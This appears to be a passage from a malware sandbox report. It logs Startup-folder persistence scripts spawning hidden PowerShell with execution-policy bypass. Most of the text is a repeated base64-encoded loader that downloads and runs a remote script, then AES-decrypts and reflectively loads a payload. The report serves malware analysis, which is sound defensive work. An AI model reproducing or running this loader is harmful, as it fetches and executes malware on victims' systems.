                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\kwpaipoiommoomhbogxpuhysgmfpeisd"Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_eb7db44d.cmd" Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_aac21fe5.cmd" Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_524a8e57.cmd" Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_491647b6.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_ec5275dd.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
